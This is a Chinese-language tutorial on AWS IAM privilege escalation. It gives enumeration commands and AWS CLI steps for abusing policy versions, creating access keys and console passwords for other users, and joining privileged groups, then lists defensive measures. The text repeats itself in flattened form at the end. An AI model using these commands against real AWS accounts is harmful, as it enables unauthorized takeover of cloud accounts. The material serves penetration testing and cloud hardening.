云安全之IAM权限提升场景和利用
字数 1227 2025-08-22 12:23:06

AWS IAM 权限提升场景与利用技术详解

1. IAM 基础概念

1.1 IAM 概述

AWS IAM (Identity and Access Management) 是 AWS 的身份和访问管理服务,主要功能包括:

  • 用户管理:创建和管理具有独立凭据的 IAM 用户
  • 组管理:将用户分组并分配统一权限
  • 权限管理:通过策略定义访问控制规则
  • 角色管理:为 AWS 服务或实体分配临时安全身份
  • 多因素认证(MFA):增强账户安全性

1.2 sts:AssumeRole 操作

sts:AssumeRole 是 AWS STS (Security Token Service) 的关键 API 操作:

  • 允许实体临时获取另一角色的权限
  • 生成临时安全凭证(访问密钥、会话令牌和到期时间)
  • 主要应用场景:
    • 跨账户访问
    • 权限委派
    • 临时权限提升

信任策略示例

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::123456789012:user/Susan"
      },
      "Action": "sts:AssumeRole"
    }
  ]
}

2. IAM 枚举技术

2.1 基本枚举命令

# 获取账户授权详情
aws iam get-account-authorization-details

# 列出所有用户
aws iam list-users

# 获取特定用户信息
aws iam get-user --user-name <username>

# 列出用户内联策略
aws iam list-user-policies --user-name <username>
aws iam get-user-policy --user-name <username> --policy-name <policyname>

# 列出用户附加策略
aws iam list-attached-user-policies --user-name <username>

2.2 自动化枚举工具

推荐工具:bf-aws-permissions

3. IAM 权限提升技术

3.1 SetDefaultPolicyVersion 漏洞

漏洞原理

  • 允许将指定策略版本设为默认版本
  • 通过设置包含广泛权限的策略版本实现权限提升

利用步骤

  1. 识别可修改的策略
  2. 创建或识别具有高权限的策略版本
  3. 设置为默认版本
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

3.2 CreatePolicyVersion 漏洞

漏洞原理

  • 创建新策略版本时使用--set-as-default参数
  • 绕过iam:SetDefaultPolicyVersion权限限制

利用步骤

  1. 准备高权限策略文档(如管理员策略)
  2. 创建新策略版本并直接设为默认
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

管理员策略示例

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "*",
      "Resource": "*"
    }
  ]
}

3.3 CreateAccessKey 漏洞

漏洞原理

  • 为目标用户创建新的访问密钥
  • 获取Access Key ID和Secret Access Key实现完全控制

利用方法

aws iam create-access-key --user-name <target_user>

3.4 CreateLoginProfile & UpdateLoginProfile 漏洞

漏洞原理

  • 为目标用户设置或修改AWS控制台登录密码
  • 直接通过控制台访问目标账户

利用方法

创建登录配置:

aws iam create-login-profile --user-name <target_user> \
--no-password-reset-required --password '<password>'

更新登录配置:

aws iam update-login-profile --user-name <target_user> \
--no-password-reset-required --password '<password>'

3.5 AddUserToGroup 漏洞

漏洞原理

  • 将用户添加到高权限组
  • 继承该组的所有权限

利用步骤

  1. 识别高权限组
  2. 将自身用户添加到该组
# 列出组附加策略
aws iam list-attached-group-policies --group-name <group_name>

# 添加用户到组
aws iam add-user-to-group --group-name <group_name> --user-name <username>

4. 防御措施

  1. 最小权限原则:仅授予必要权限
  2. 策略版本控制:严格管理策略版本
  3. 定期审计:检查异常策略修改
  4. 监控关键操作:如CreateAccessKey、SetDefaultPolicyVersion等
  5. 使用条件限制:在策略中添加时间、IP等条件限制
  6. 启用MFA:对敏感操作要求多因素认证

5. 参考资源

AWS IAM 权限提升场景与利用技术详解 1. IAM 基础概念 1.1 IAM 概述 AWS IAM (Identity and Access Management) 是 AWS 的身份和访问管理服务,主要功能包括: 用户管理 :创建和管理具有独立凭据的 IAM 用户 组管理 :将用户分组并分配统一权限 权限管理 :通过策略定义访问控制规则 角色管理 :为 AWS 服务或实体分配临时安全身份 多因素认证(MFA) :增强账户安全性 1.2 sts:AssumeRole 操作 sts:AssumeRole 是 AWS STS (Security Token Service) 的关键 API 操作: 允许实体临时获取另一角色的权限 生成临时安全凭证(访问密钥、会话令牌和到期时间) 主要应用场景: 跨账户访问 权限委派 临时权限提升 信任策略示例 : 2. IAM 枚举技术 2.1 基本枚举命令 2.2 自动化枚举工具 推荐工具: bf-aws-permissions 3. IAM 权限提升技术 3.1 SetDefaultPolicyVersion 漏洞 漏洞原理 : 允许将指定策略版本设为默认版本 通过设置包含广泛权限的策略版本实现权限提升 利用步骤 : 识别可修改的策略 创建或识别具有高权限的策略版本 设置为默认版本 3.2 CreatePolicyVersion 漏洞 漏洞原理 : 创建新策略版本时使用 --set-as-default 参数 绕过 iam:SetDefaultPolicyVersion 权限限制 利用步骤 : 准备高权限策略文档(如管理员策略) 创建新策略版本并直接设为默认 管理员策略示例 : 3.3 CreateAccessKey 漏洞 漏洞原理 : 为目标用户创建新的访问密钥 获取Access Key ID和Secret Access Key实现完全控制 利用方法 : 3.4 CreateLoginProfile & UpdateLoginProfile 漏洞 漏洞原理 : 为目标用户设置或修改AWS控制台登录密码 直接通过控制台访问目标账户 利用方法 : 创建登录配置: 更新登录配置: 3.5 AddUserToGroup 漏洞 漏洞原理 : 将用户添加到高权限组 继承该组的所有权限 利用步骤 : 识别高权限组 将自身用户添加到该组 4. 防御措施 最小权限原则 :仅授予必要权限 策略版本控制 :严格管理策略版本 定期审计 :检查异常策略修改 监控关键操作 :如CreateAccessKey、SetDefaultPolicyVersion等 使用条件限制 :在策略中添加时间、IP等条件限制 启用MFA :对敏感操作要求多因素认证 5. 参考资源 AWS IAM 官方文档 AWS Privilege Escalation Methods bf-aws-permissions 工具